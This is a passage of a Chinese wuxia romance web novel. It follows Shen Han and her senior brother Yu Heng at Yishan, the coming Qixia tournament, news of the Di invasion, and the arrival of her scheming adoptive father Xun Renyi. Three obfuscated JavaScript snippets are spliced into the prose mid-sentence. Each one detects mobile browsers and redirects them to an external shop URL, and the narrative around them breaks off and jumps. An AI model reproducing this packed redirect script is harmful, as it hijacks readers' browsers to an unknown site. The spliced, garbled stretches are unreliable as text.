可郁珩脸皮很厚的留下来了。 隔着步障衣帷,沈寒换了身杏黄色的衣衫,走出来发现郁珩背对而坐,倒是恪守礼节。 她把火盆端到郁珩面前,“你先烤一会,我向玄宁借个衣服。” 玄宁亦醒着,听到沈寒是为郁珩借衣服,寡淡的脸上飘起八卦的兴奋神情。沈寒并未多解释,关上玄宁的房门一溜烟跑了回来。 郁珩要比玄宁高许多,衣袖短了一截,穿在身上也只是凑合,伸手的时候会露出他清癯的手腕。 火炉烧得噼啪作响,夜里的洗尘斋一片宁静。沈寒给郁珩倒了热茶,又端出珍藏的炒栗子。 郁珩扫了一眼,道:“哪来的?” “你别管,若是你敢罚我,你便一口都不要吃!” 没想到郁珩真的不接栗子,静心坐在那,将沈寒晾在一边。 小莲花脾气还不小。 沈寒几下剥开壳,一把将栗子强硬塞进郁珩嘴里。 她的手指快速掠过郁珩的薄唇,郁珩目光不经意间慌了。 沈寒并未在意这些,嘟囔道:“不吃也得吃!自己剥了自己吃!你是什么别扭性格!” 不一会栗子壳堆了一小山。实际上,沈寒只顾着有一颗没一颗往嘴里塞,没注意郁珩只是在剥壳,果仁全被自己吃了。 待沈寒发现时,筐子里的栗子不剩下几个,反而郁珩依旧坐在一旁,剥得一丝不苟,任劳任怨。 沈寒突然有些惭愧,诚信开口,“我真的不是故意碰你的琴,我发誓以后再也不乱动你的东西了。随便你怎么罚我,只要你不生气便好。” 郁珩手上动作不停,“没有生气。” 沈寒心里依旧酸酸的,打眼瞧见炉边郁珩换下的湿衣服,袖口处赫然破了个洞。定是方才落水时,池畔的青石刮破了郁珩的外衫。 她灵机一动,起身蹲在衣服边,“你的衣服摔破了,我帮你补好,权当赔不是了。大师兄你看行不行?你若说行,我就拿了喔。” 倒是严格遵守郁珩不许她就不碰的承诺。 郁珩被她古灵精怪的模样逗乐,嘴角浅浅上扬,“好。” 炉火融融,映得屋里一片暖黄。 郁珩坐在窗边的木椅上,手里端着沈寒前几日的课业,坐姿端正宛若神像。隔着小桌,沈寒在烛火下慢条斯理用针线缝补。她虽擅武,针线活做得也不错,针脚细密,补衣时眉头微蹙,嘴唇不自觉紧紧抿着。 郁珩的视线从书本移到了沈寒身上。 屋里很静,只有炉火微响,二人浸泡在此静谧里,呼吸心照不宣地放轻了。 沈寒突然感到十分放松,要比欢聚一堂的年夜饭更让她自在。 夜色幽深,窗外忽传来玄宁悠然一声吆喝,“下雪了——” 沈寒道:“下雪有什么稀奇。” 她突然感受到郁珩灼热的视线,抬眼望去,正与对方目光撞到一起。郁珩也不躲闪,只是静静看着她,像是风雪夜久别重逢的故人。 郁珩很好看,放眼世间,难得找一如此标致的男子。他几乎是按照正人君子四个字长得,眉眼刚毅,鼻梁挺直,芝兰玉树,不可亵玩。 江湖中人并非道士,更不是佛子,是会找眷侣的。沈寒很难想象郁珩该找一个怎样的女子,才能和他姿容相衬并肩而立。她回想到席间师兄妹们的议论,再想到清丽婉约的郑清商,自己也不由得觉得,真是天生一对的璧人。 沈寒喉头不由得生出苦意,干巴巴打破这段对视,“今天的琵琶好听吗?” “嗯。” 郁珩总是这样,不吝啬夸赞,却吝啬一些热情。 “师兄喜欢抚琴,也爱听琵琶吗?” “风流雅乐,各有所长。” 郁珩答得滴水不漏,可在沈寒耳里,他已然有了自己的倾向。毕竟郁珩擅抚琴是人尽皆知之事。 沈寒不喜欢绕弯子,她暗暗羡慕郑清商这样清白的人,便有些憎恨自己满身泥垢。她直接问出了心中所想,“你是不是喜欢郑师姐?” 大梁人少言情爱,江湖儿女倒是放得开些。可沈寒这般单刀直入,亦是少之又少。 郁珩平静若水,简短答道:“同门之谊,从未逾矩。” “郑师姐多好啊,才貌双全,心怀仁善。” “你问喜不喜欢,没问好不好。” 沈寒一下子笑了起来,心中的酸涩一扫而空。郁珩看着她笑,目光放得柔软,静静移开了眼。 沈寒放下补好的衣服,火光烤得她的面颊像一颗珍珠。 “郁珩,你让我很开心。” 郁珩并不瞧她,反倒质问,“那你呢?” 沈寒错愕,“我自然喜欢郑师姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈寒大喜,“讲来听听!你们都如何游历?盘缠多不多?是不是惩奸除恶?呃……除我这样的恶吗?” 郁珩便讲了几个无关紧要的小事,却也勾勒出一个初出茅庐的少侠,随师父游走天下的模样。夷山弟子鲜少下山,郁珩能有此经历,恰恰说明他心性坚韧异于常人,几个宗师才放心让他下山。 郁珩难得说这么多话,讲了二三件小事,转眼发现沈寒笑眯眯托着腮瞧着自己。他轻咳几声,不愿再开口了。 沈寒歪头问,“你不好奇我吗?” “不好奇。” 沈寒突然有些落寞。 回忆戛然而止,再剩下的,沈寒也记不清了。她只觉得自己做了一场大梦,时而是郁珩的脸,时而是一个料峭可怖的冬日。 梦里她卧在床上,浑身是伤。她似乎快要死了,奄奄一息,气若游丝。一个清瘦的少年在床边给她喂药,喂了几次她都吐了出来。 是郁珩吗? 不是,绝对不是。他不会是郁珩。因为沈寒记得少年的模样,也因为那个少年死了。 梦里沈寒眼角滚出一滴泪,断断续续说出那句遗言。 “若是我死了,要把我的身体烧成灰,洒进濛水。化作恶鬼,我也要报仇。我不能原谅,我绝不原谅!” 少年的手很温暖,却暖不过来沈寒。他突然落泪了,对沈寒说:“求求你,活下来。只要你活下来,我带你走,我们远走高飞。” 梦醒了,洗尘斋外是新年未散的余韵。 梦里的少年少女,也没能逃出他们的囚笼。 沈寒深吸一口气,侧脸看着郁珩,惊吓之余心中百味杂陈。她有些不知所措,甚至担心自己是不是后面又发了酒疯。 不过两个人衣衫整齐,她的夹袄未脱,郁珩的僧袍也很整齐,应当是相安无事。 那双长眸突然睁开,沈寒哆嗦了下,立刻闭上了眼。 她知道这是欲盖弥彰,又感觉对方缓缓坐起身,自己立马放弃装死弹坐起来。 帘子并未解开,晨光雪色从窗外透出。炉子已经熄了,僧袍松垮挂在郁珩身上,增添了几分圣洁。二人尴尬地并肩坐着,沈寒稍稍一动腿,便蹭到了郁珩的大腿。她连忙收腿,心里疯狂对着夷山各路祖师宗师赎罪。 无意玷污贵派根正苗红的宝贝徒弟,实在是不知道昨晚到底发了什么浑。 如果一定要解释,大概率也是自己强迫郁珩的,毕竟郁珩寡情寡欲,根本不会有那么多乱七八糟的念头。 屋里气氛一路急转直下,沈寒深吸一口气,故作豪迈掀开被子,露出自己穿得严严实实的棉裤,“昨晚……” “你要听我游历的故事,你睡着了,不让我走。” 沈寒心理“咯噔”一声,心想:剑南烧春你是什么歹毒的酒,怎么还有后劲! “然后……”郁珩木木地继续道,沈寒不敢再听,一抬手,郁珩便很体面地不继续说了。 为了给自己找回些体面,沈寒深吸一口气,拍了拍郁珩的肩膀,“江湖儿女,不拘小节!你不会觉得自己吃亏了吧?” 郁珩愣了下,面色铁青,随即平静地下床,作势要解开僧袍。 沈寒大惊失色,一巴掌捂住双眼,“你你你……你干什么!” “换衣服。”郁珩唇角微勾,玩味道:“江湖儿女,不拘小节。” 沈寒意识到郁珩是在气自己,她没想到这黑心莲如此……放浪形骸!震惊之余拉下手,竟看到郁珩轻飘飘拾起自己的衣衫,慢条斯理开门走了。 临走还记得将门关好。 沈寒羞愤极了,趁他关门将枕头一把砸过去,郁珩轻松接住,抛回去后闭上门,神仙似的飘走了。 这放荡的黑心莲! 23. 失心 年后一过正月,便很少见到郁珩了。 沈寒有怀疑他在刻意躲自己,可偶尔打个照面,发觉一切如常,再计较下去倒显得自己小家子气了。于是便摆了平常心。 郁珩不再盯着夷山弟子练功,也极少出现在饭堂。沈寒平日见到郁珩的次数寥寥无几,唯有早功前那么一会,她会带着自己的功课一起去山崖前,在郁珩练剑之余,让他批阅一二。 崖上无兰,沈寒本是不想去的,奈何郁珩冷脸实在吓人,她也不得不老老实实努力读书。 郁珩是个勤勉的人,沈寒打着哈欠拖着脚步来到山崖前,郁珩已经练了许久的剑。沈寒不敢相信,这新春开年,春寒料峭,他也能起这么早。 沈寒不知道郁珩到底在忙些什么,只听薛敢说,夷山上下大多数事务,实际上都是郁珩在料理。自夷山弟子拜入师门的那一天,他们除了师父,就是郁珩。郁珩就像他们的一片天,既不会出错,还能帮他们补错。 二月中旬,抱剑山庄几位大侠以送英雄帖为由,来到夷山拜访各位宗师。 英雄帖乃是栖霞会武的战书,一张烫金赤红封帖,邀天下武林青年才俊共赴栖霞山。 栖霞会武创办之时,正值江湖良莠不齐之年。彼时大梁国运昌盛,朝廷频频打压武林人士,江湖内部更是为了心经身法斗得头破血流。而后一狄族勇士游历中原,横扫五大门派,重创武林。 自此为振兴中原武学,各大门派联合创办栖霞会武,各大门派擢选青年才俊进行公平比试。 栖霞会武的彩头是小,赢得会武的名声事大。 按理说会武年年都要办,可江湖中的事难以言说,因此举办也并不规律。武林中的年轻人一茬又一茬,落败一次便有可能抱憾终生。 英雄帖送到后,因抱剑山庄与夷山素来交好,便留下小住一段时日。沈寒也出来见过几位大侠,每一个都气度不凡,穿着更是精致华贵,两相对比夷山便显得寒酸了。 听其中一位大侠提及,来的路上,山门前似有一人鬼鬼祟祟。抱剑山庄的人将其抓起来审问,发现只是个平民男子,便也放过了他。 沈寒听了不以为意,只觉得这些江湖大派威势压人。平日里在夷山门前路过的平头百姓数不胜数,怎么偏偏他们要捉起来审问一番。 英雄帖送至,沈寒的功课也就更加繁重。除了随夷山弟子进行常规的功课,更多的是玄宁的加练。 玄宁看似温文尔雅,却是个严师。练武之时,一面满口慈悲一面对沈寒非训即罚,日日累得沈寒苦不堪言。 还好沈寒本就有天分,进步惊人,受得罚也越来越少了。 寒气未褪,风中却夹杂着早春的柔软。 原定前往栖霞会武的人,是夷山最拔尖的五个,郁珩、郑清商、郁云笙、薛敢已然去过一次,剩下一个空位一直悬着。 公平起见,在抱剑大侠的见证下,练剑台上摆了小擂台。 沈寒是一定要去栖霞山带回啼凰的,凭着她惊人的天赋和功底,轻而易举便拿到了参加会武的机会。 由此,前往栖霞山的五个人彻底敲定。 一日中午,沈寒气喘吁吁收了拳法,蹲坐在洗尘斋屋前石阶上。 玄宁递给了她一只陶杯,沈寒刚要接过,玄宁的手却提前松了。 幸好沈寒眼疾手快,一把握住即将撒了的杯子,才踏踏实实喝上口水。 玄宁道:“反应倒是快,只是动作不够利索。若是你多余的小动作那么多,比武时便全是漏洞。” 沈寒抱着杯子一通豪饮。 她已然练了一整个上午,浑身酸痛不说,实在是没有力气了。 玄宁知道她累了,于是缓缓坐在院中石凳上。他望着远处峦峰之间飘过的几团云,忽然道:“如今山河动荡,各派亦不复当年纯粹了。” 沈寒不以为然,“乱世之中,想要寻求自己的出路并没有错。夷山选择避世,也不能斥责其他门派入世。” 玄宁摇了摇头,望着沈寒,郑重道:“如此,这可能是郁珩最后一次参加会武了。” 沈寒一怔。 她身处夷山,习惯了夷山弟子对郁珩的崇拜之情。即便自己日日咒骂郁珩,可她心里也知道,郁珩是个有武学天分之人。拔得头筹这样的事情与他相配,他天生傲骨,不是一个失意者。 夷山曾经荣光一时,是栖霞会武的常胜将军。事实却是,夷山已经九年未曾夺魁了。 九年,足够一个年轻的少侠困在失利之中,逐渐潦倒蹉跎,泯然众人。 这是郁珩吗?沈寒悬心,她不敢想郁珩失意该是何等模样。 沈寒便小心侧问玄宁,“之前的会武,郁珩都有参加吗?” “四次。” 玄宁说,郁珩是十二岁接过了夷山事务。 自他接过后,夷山这一辈再无胜绩,甚至早早出局。夷山派也自此走了下坡路。 郁珩似乎是夷山的骄子,也是罪人。他不是一个合格的大师兄,门派从他的手里转衰,或许以后他做了掌门,也会在他手中散去百年基业。 从第一场败绩后,他丢了他的剑心。从此雪辞无锋,一胜难求。 沈寒知道,世事无常,这并不是郁珩的错。她对郁珩的怨怼少了许多,转而更多的是怜惜。 山上还是漆黑一片时,沈寒在崖顶上看郁珩练剑的身影,动作利落,剑法凌厉,若飞鸿踏雪。 太阳耀目的光芒一点点从崖上跃出,勾勒出郁珩孤注一掷的身形。沈寒突然在想,此时此刻的郁珩在想什么,在为何执着奔赴? 他说得有罪,指的是未能扛起夷山之罪吗? 沈寒心里一阵酸涩,想劝他宽宥自己,却也难以开口。 直到郁珩一剑舞罢,转眼看到了崖下正朝自己仰望的沈寒。沈寒便假装闲逛,默默垂首不再看他。 到了二月末,草长莺飞,万物复苏。 已然是春耕忙碌的时节,今年却有所不同。因战乱征丁,又因望仙县依附西京,早已被征过一轮,今年的春耕格外艰辛,有些拨不下去的意思。 夷山本就有自己的田产,素有帮耕的传统,此时更是义不容辞。于是夷山弟子便会轮值结伴下山帮耕。 沈寒对望仙人有仇怨,她不愿意去,也不打算去。本来练拳就辛苦,还要帮仇人种地,想都别想! 最后,是几个夷山弟子连哄带绑,沈寒才勉强去了几次。 起初,大家面朝黄土背朝天,无人在意帮耕的弟子到底是谁。 直到一日沈寒口渴难耐,寻一农妇讨口水喝。她虽带了顶草帽,阴影下一张妩媚动人的双眸水灵灵望着对方。农妇一愣,登时认出此绝代佳人便是那作祟的水鬼。 农妇递过水时,嘴唇哆嗦了下,动作颤颤巍巍。沈寒习惯了望仙人对她的畏惧,接过水并不以为意。 直到农妇抖出熟悉的一声。 “河神保佑……” 沈寒只是有些惊诧,随之从容点了点头,继续埋头锄地了。 水鬼来帮人种地的事情几日里飞遍望仙。百姓们不喜欢沈寒,更畏惧沈寒,他们碍于沈寒帮自己耕种,不敢言语造次。只是态度上彻底转变,那声“河神保佑”,是再也不会说了。 时而,沈寒忙农事时,还会听到临旁几个锄地汉子闲聊。 “刘爷,听说她以前也是望仙人?” 沈寒警觉,她十分忌讳旁人打探自己的过往。 刘爷卯足了力气挥舞锄头,“我记得。她小时候也是个勤快孩子。” 沈寒嘴角勾起抹笑,扯了扯帽檐收回心思。 却听刘爷爷补了一句,“怎么就当了匪子呢?” 只听一声脆响,锄头被撅成两半,惊得周遭一众人连连后退。 沈寒额角青筋跳动,笑道:“因为喜欢抢,可以吗?” 刘爷满脸惊恐,连连点头称是,“好好好,当匪子好!当得好!” 地上的土地有些松软,返程的夷山弟子一路高歌,沈寒心不在焉,跟在队末。 她总觉得有些古怪,几次回头查看,却并未察觉。 前面夷山弟子催促,“沈寒,干什么呢!” “没事。”沈寒应了一声,快步追了上去。 第二日清晨,早功刚散,夷山弟子三三两两前往饭堂。 前日下山的师弟带来了外面最新消息,宛若一记惊雷在饭堂炸开:太上皇往岳州方向潜逃,狄人已经攻下并州,在阳曲县烧杀抢掠。 弟子们听到阳曲惨状,纷纷倒吸一口凉气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386682|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 并州不止是一座普通州府,它是大梁北方的锁钥,亦是大梁北方防线的支柱脊梁。并州城破,狄人大张旗鼓入侵中原,如入无人之境。 阳曲是上等繁华的好地方,如今水深火热,一片人间炼狱。那师弟描述的绘声绘色,众人纷纷神色凝重,心里生寒。 郁云笙除了参加会武外鲜少下山,忧心忡忡,道:“并州离汴京远吗?” 沈寒道:“说近不近,说远不远。照这个势头,汴京危矣!” 郁云笙掀起个白眼,“谁问你了。” 沈寒也不生气,慢条斯理剥鸡蛋,仿佛外面的家国天下与自己无关。 郑清商则道:“若是汴京沦陷,大梁又该怎么办呢?” 饭堂一片寂然。 太上皇他老人家把亲儿子丢在皇都自己跑了,大梁何去何从,皇亲国戚都不知道,这些十几岁的少年人更是不知道。 寂然之后,每个人心情都分外沉重。国破家亡的命运落下来,一个最现实的问题铺在他们面前。 望仙邻西京,西京富庶繁华,离汴京不过四百里。若是狄人大军杀至西京,军临望仙,夷山该如何?望仙又能如何? 不知道谁窃声言道:“当年那个横扫武林的完颜大侠,听说是狄人王族的王子。北方沦陷城镇的门派若是不插手军事,闭门不出,狄人尊崇武学,便会放过他们。那我们……” 郁云笙拍案而起,怒道:“你的意思是,狄人屠杀望仙百姓之时,我们要袖手旁观吗?” 所有人心里均“咯噔”一声。 若是袖手旁观,夷山得一息尚存。若是入世庇护,狄人的铁蹄怕是要踏平夷山百年基业。 世人常言道义,性命攸关之时,不是帮忙锄地剿匪那么简单的事情了。他们面临的是真正的异族敌军,战场不是比武,只有厮杀没有底线。 正在这氛围沉重之际,一个小师妹急匆匆冲进饭堂,冲着沈寒道:“沈师妹!你家里来人了!” 沈寒一口饭没咽下去,差点惊得将自己噎死。 她哪来的家人? 随之心头浮现了一个油腻的胖子身影,加上昨日她回山路上总觉背后古怪,已经了然。 可她还是问了一句,“什么家人?” 小师妹道:“你爹!” “他不是我爹。” 沈寒一脑门子官司起身,随着小师妹一路去到了夷心堂。 春风和煦,她却觉得格外烦躁,看小师妹脚步雀跃欢腾,她便更觉郁闷。 夷心堂历代宗师排位前燃着整齐的白蜡,平日里威严肃穆,今日却传来蛮横跋扈的一声。 “你知道我女儿是谁吗?若是你们不把她交出来,我便砸了你们夷山!” 沈寒刚迈过夷山派的门槛,便瞧看荀仁义那肥胖的身影在五个宗师面前蹦跶。周围一群夷山弟子凑在前面看热闹,荀仁义笨重挥舞着胳膊,要去砸宗师排位,被岳震轻而易举给拦了下来。 二师父解天吟戏弄他道:“你说你姓荀?放眼整个夷山,也没有姓荀的女弟子呀!” 荀仁义两手叉腰,傲慢道:“我女儿姓沈名寒,你叫她出来见我!我亲眼见着她跟你们弟子进了夷山,别想抵赖!” “这倒有趣了,你姓荀,她为何姓沈?” 荀仁义一时语塞,犹豫片刻道:“我取得名字,怎么了?不可以吗?” 沈寒捏了捏眉心,荀仁义这人,到哪里都是一贯的胡闹。她叹了声,从人群中挤进去,一把拉住荀仁义的胳膊。 骤然被拉住,荀仁义本想发怒,转眼一看是沈寒,脸上浮现出喜色,“呦!乖女!我可算找到你了!你知道这两个月,你爹我吃了多少苦头吗!” 周遭弟子议论纷纷,惹得沈寒有些丢脸。她深深闭上眼,道:“跟我走,回去说。” “回去?”荀仁义不解道:“回哪去?你跟爹走,爹带你下山。” 沈寒语气强硬几分,“我说,跟我走。” “你个死丫头,你怎么跟爹说话呢!” 话音刚落,沈寒一把拎起荀仁义的衣领。她身形高挑,在姑娘里也算是高个子,荀仁义又矮胖,被她拖着滑稽可笑,看得出惯是挨沈寒拎的。 二人便这样不成体统出了夷心堂。 24. 老爹 回洗尘斋的路上,难免遇见许多夷山弟子。他们见到沈寒与荀仁义,纷纷投来好奇的目光。 沈寒只觉眉心钝痛,面上浮出些羞耻,扯着荀仁义的衣领毫不客气地拉他前行。 身后传来荀仁义咿咿呀呀的叫声,“轻点!就这一件衣服了!” 沈寒沉闷叹了口气,回身望了他一眼。 这一眼,沈寒难免想起第一次见到荀仁义的情景。 昌和十三年,秋。臭名昭著的佞臣贾相身死凤箫楼,大火烧了三天三夜,连同周围十余座民宅铺面一同烧了。火光与黑烟笼在江宁府城上空,一时人心惶惶,城中乱作一团。 那时候沈寒还叫沈璧,孤身走在城门前。她衣衫破碎,赤裸双足,手上还有大块伤痕,似是滴滴答答向下滴血。 赶路的行人纷纷侧目,打量着这个失魂落魄的小姑娘。 因沈寒太过引人注目,也吸引来了守城的士兵。几个兵卒围住沈寒,厉声要求查看路引。沈寒只是痴痴抬眸,双目空洞望着士兵,一言未发。 眼见着几个士兵要将她扭带走,忽然身后传来一声,“几位军爷,留步!留步!” 士兵狐疑地转身,只见一个肥头大耳的商人背着大包小包行囊跑了过来。他停在几人面前,满脸谄媚与讨好,浑身上下翻找着。 沈寒心力交瘁,有些恍惚地抬眼。这个男人有些面熟,看上去三十多岁,十分富态,满脸横肉却难掩憔色。平心而论,沈寒不喜这样的人,凭她十三年的人生阅历,这样的男人奸诈而又唯利是图,一定不是好人。 可就是这个面相不善的男人,从口袋里掏出一张路引,堆笑递给几个兵卒,“这是我家姑娘。” “荀珍珍,是她吗?”兵卒半信半疑,看了看沈寒那张俏美的小脸,再看荀仁义,怎么也不像是父女。 沈寒是识时务的,立马脆生生唤了声,“爹!” 荀仁义愣了下,立马把沈寒拥过来,向士兵解释道:“这的确是我家姑娘,我们要去寿州投奔亲戚,这不是骂了她两句,死丫头自己跑了。”说着他抬手拍了拍沈寒的后脑,“快去给军爷赔不是,给人家添了多大的麻烦!” 沈寒连连赔礼,几个兵卒也就被糊弄走了。 荀仁义打眼看着脏兮兮的小姑娘,轻蔑地问,“你是叫花子?” 沈寒亦是斜睨着荀仁义,她忽然记起荀仁义到底是何人。 他是江宁府城中赫赫有名的大奸商,平日里没少做缺德事。 商人与朝堂很难泾渭分明,荀仁义站错了队,被同行所害,落得个一贫如洗的下场。妻女见状卷了些财宝跑了,只剩下他一个人。荀仁义没办法,带了为数不多的盘缠,想去寿州投亲。 实际上他平日没少作恶,亲戚应当是不会接纳他的,可他在江宁无处容身,只能另择生路。 两个失魂落魄的人在城门前相遇,一个没有家人,一个丢了家人。 沈寒摇了摇头,又点了点头,“如果需要乞讨,也行。” 荀仁义笑了,他一贯计较得失,此时此刻一无所有,多个陪伴倒也无妨。总归他没有钱,沈寒也没有钱,既没有得,也无从可失。 荀仁义从包裹里掏出个馍饼,只掰了零星半点给沈寒,剩下的他小心翼翼藏回去。 沈寒接过塞进嘴里。这一点,她都不需要怎么咀嚼,就能吞咽下去。 “你叫什么名字?”荀仁义施舍了馍,也算是拉拢了沈寒,语气理直气壮起来。 “沈璧。” “碧绿的‘碧’?” “和氏璧的‘璧’。” 荀仁义不通文墨,品了良久,道:“这名富贵,又惹是非,不好。这天冷起来了,以后你便叫沈寒吧。” 沈璧这个名字是父母取的,是沈寒对童年回忆最大的温存。可荀仁义说得对,这个名字已经不能再用了。 她转过身,看着天边赤红的火光,过往的回忆,儿时的温情,随着大火一同烧尽了。 改了罢,改名之后重扫心情,再归来便是一个满心只有仇恨的人。 世界上再也没有沈璧,只有复仇的恶鬼沈寒。 荀仁义为她改了名,二人结伴同行,一起被寿州的亲戚拒之门外,一起忍风受雪,一起乞讨,一起进了匪窝。 二人相看两厌,吵骂是常有的事。沈寒厌恶荀仁义这样的小人,荀仁义也认为沈寒天生不祥。可他们互为依靠,最终也没有薄待对方。 洗尘斋还有一间空房,玄宁从不管生活上的琐碎,于是沈寒便收拾一番,给荀仁义安置下来。 屋中简陋,只有一床被褥,一炉从沈寒房中分出的炭火。 荀仁义看着这家徒四壁的模样,啧了两声,“凑合吧。比我江宁的宅邸差远了。那时候我家小妾住得都比这富贵。” 沈寒一边往屋里搬炭,一边怨气冲天地道:“省省吧。这儿没有小妾,老和尚倒是有一个。你这段时日都去哪了?” “丐棚,牲口圈,四处藏呗。”荀仁义说完,眼里瞬间泛起精光,“死丫头,你是不是有谋算了?我怎么听说夷山的人说,你要参加劳什子会武?那是什么玩意?这是你的缓兵之计吗?老爹都懂!” 沈寒默了默,蹲身垂首烧起炉子,“不是。” 自从她做了匪首,荀仁义又开始吃香喝辣的生活,穿着也是体面许多。可如今他满身狼狈,衣衫脏污,可见这两个月在外漂泊,过得凄惨。 若说当年邪气冲天的不归寨匪首要代表武林正道参加栖霞会武,听了实在惹人发笑。因此沈寒也没什么底气。 荀仁义有些诧异,“不是?你真的要去?死丫头你是不是疯了?” 见沈寒不做言语,荀仁义追在沈寒身后开始掰着手指盘算。 “你自己看看,夷山小门小户,穷得也就有口饭吃,处处都是规矩,能有几个钱赚?我可亲眼瞧见了,你还得望仙那群不相干的人干农活。那都是你的血仇,让你去给他们干活,夷山简直毫无人性!” 沈寒烧好了炉子,利落起身,不想回应荀仁义。 荀仁义便追出屋,“就算你赢了会武又如何?你觉得他们会接纳你吗?” 洗尘斋前结伴路过几个青春洋溢的弟子,说说笑笑,十分温暖。恰好沈寒看着这一幕,藏在袖下的手默默握紧了。 黑白分明,正邪难容,她已然犯下滔天罪孽,又怎能将自己洗干净? 荀仁义痛心疾首道:“你忘了我们这一路遭了多少所谓正派人士的冷眼了吗?有人为我们思量过吗?你是沈寒,你是匪,你洗不白了!” “够了!”沈寒有些暴躁,打断了荀仁义,“我还要练功,老爹你先歇息吧!” 于是接连几日,沈寒都躲着荀仁义。每逢荀仁义说起此事,凑到沈寒跟前,沈寒便找借口遁走。 沈寒倒台之时,不归寨自然将荀仁义赶了出去。如今终得一处安寝,他歇息两天,富贵毛病又犯了。 去饭堂的时候,夷山弟子对他又是好奇又是鄙夷,只觉得此人滑稽可笑。 荀仁义不在乎外人的目光,却开始挑剔吃食。夹着几片小青菜嫌弃道:“你们就吃这个?” 沈寒并不在意,她练功一上午,筋疲力尽,只想囫囵吃些果腹,“嗯,就吃这个。” “连点荤腥也没有。” “也有荤菜,只是近日素菜比较多。” 一旁夷山弟子忍无可忍,啐道:“白吃白喝还挑三拣四,吃不惯滚下山去!” 荀仁义嘴角勾起抹轻蔑的笑,“这比我在江宁……” 他话没说完,忽然觉得脸侧凉凉的。转眼看去,竟是一个俊逸的年轻男子冷眼望着他。 荀仁义记得这个人,他叫郁珩,是夷山的大弟子。凭荀仁义敏锐的商人直觉,把沈寒拐上夷山,郁珩一定是主谋。 荀仁义不怕郁珩,却不知为何难以言说下去。沈寒见状眼疾手快,一把捂住荀仁义的嘴,赔笑道:“大家别管他,他爱吃的很,爱吃的很!” 手掌下荀仁义含混不清不知道说了什么,沈寒夹起一筷子菜,直接堵住荀仁义的嘴,对众人道:“你看他爱吃的很!” 又是一日,荀仁义睡到日上三竿,盥洗过后出屋闲逛。发现洗尘斋空无一人,于是便顺着山道一路溜达到了夷心堂。 只见夷心堂练剑台前,满目雪白,整齐划一的夷山弟子练剑若飞鸿。 沈寒并未在其中,而是在剑阵一侧练拳。她手上带着玄宁所赠的无敌,每一拳打得气吞山河,虎虎生风。 玄宁站在沈寒一旁指点,荀仁义见状连忙凑过去。 玄宁是个好脾气,见到荀仁义立掌行礼,“荀施主。” “玄宁大师,你们起得好早。”荀仁义毫不客气道。 玄宁笑了笑,并不多言,转而继续指点沈寒。 荀仁义却凑上前,“大师不知会不会看命理?” 玄宁在夷山这么多年,第一次听到有人找自己算命,当即身形一滞。 荀仁义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392168|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已然把手掌送到他面前,“你看看,我还有大富大贵的命吗?” 玄宁只得道:“阿弥陀佛。施主掌中沟壑,皆是亲手所造。世间诸事皆有因果,又何须来问贫僧?” 见玄宁并不愿给他算命,荀仁义觉得无趣,悻悻然转身,却又感受到一阵冰凉刺骨的目光。他顺着目光望去,只见郁珩站在剑阵前,鬼魅似的幽幽盯着他。 沈寒连忙跳出来,欲将荀仁义推走。 这类事情再寻常不过,荀仁义不受人管控,是最刁蛮的人。毕竟他在夷山白吃白喝,也给夷山人添了不少麻烦,沈寒心里也有些愧疚。 沈寒思来想去,荀仁义惹了寻常弟子,他们都当即还嘴回去,两相扯平。唯有郁珩这个君子楷模,不发一言,却每次都将荀仁义抓包。若是哄好了郁珩,荀仁义暂留下来估摸着也不成问题,后面如何安置他,沈寒再另想办法。 总不能让他继续在外面当乞丐! 于是一日,郁珩经过洗尘斋的小院子,沈寒忍下除夕夜的尴尬,特地唤住他献殷勤。 今日沈寒穿得是一身鹅黄色交领襦裙,还是生辰之时郑清商赠的礼。她本就肤白唇红,一身鲜亮明媚,头发用红绳编了俏皮的小辫子。闪身到郁珩面前时,惹得郁珩忍不住多看了几眼。 好一片明媚的春光。 沈寒笑道:“大师兄,我决定自愿去春耕了。是不是改过自新后,整个人焕然一新了?” 少女声甜,几经说下去,郁珩心里开始摇荡。 郁珩瞥了眼她身后的小屋,道:“他到底是什么人?” 沈寒一怔,知道郁珩问的是荀仁义。 可郁珩这冷冰冰的态度令沈寒错愕,毕竟荀仁义到底是什么人,也与他不相干。沈寒只当他为夷山安危考虑,要摸清楚荀仁义的底,遂并未多想。 “就是老爹啊。生意做垮了,就跟我混了。” 郁珩默然,眼睫低垂投下一小片阴影,看不透他的神色。 沈寒有些担心,问道:“师兄,你会赶他下山吗?” “不会。” 沈寒顿时心安了许多,目的达成也没什么好纠缠的,便笑着甜声道:“多谢师兄,我去练功了!” 郁珩似还有话要说,沈寒却怕他变卦,连忙活蹦乱跳跑开,留下郁珩一人孤零零在洗尘斋前驻足。 少女的身影纤细高挑,跑起来像是只小雀。 郁珩看出了神,没注意到荀仁义负手从屋中走出,站在院子里遥遥望着自己。 他意识到时,连忙收回目光。 荀仁义快步走到郁珩跟前。这几日的眼神交战,他终于有机会和郁珩说上话,开口便是呵斥,“你少招惹她。” 